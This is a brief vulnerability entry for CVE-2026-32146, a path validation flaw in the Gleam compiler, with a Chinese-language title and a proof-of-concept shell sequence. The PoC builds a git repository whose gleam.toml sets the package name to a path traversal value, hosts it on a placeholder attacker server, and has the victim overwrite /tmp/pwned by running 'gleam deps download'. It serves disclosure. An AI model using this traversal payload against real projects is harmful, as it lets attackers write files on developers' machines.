CVE-2026-32146 Gleam编译器路径校验不恰当漏洞

# PoC Concept for CVE-2026-32146 # This PoC demonstrates how a malicious package name can exploit the path traversal. # 1. Create a malicious git repository structure mkdir malicious_repo && cd malicious_repo git init # 2. Create a gleam.toml with a path traversal payload in the name cat > gleam.toml <<EOF name = "../../../../tmp/pwned" version = "1.0.0" EOF # 3. Commit the changes git add . git commit -m "Malicious package" # 4. Serve this repo (e.g., via local git server or GitHub) # The victim adds this as a dependency in their project's gleam.toml: # [dependencies] # mal_dep = { git = "http://attacker-server/malicious_repo" } # 5. When the victim runs: # gleam deps download # # The compiler attempts to create the dependency directory using the name "../../../../tmp/pwned". # This results in the creation or overwriting of /tmp/pwned on the victim's filesystem.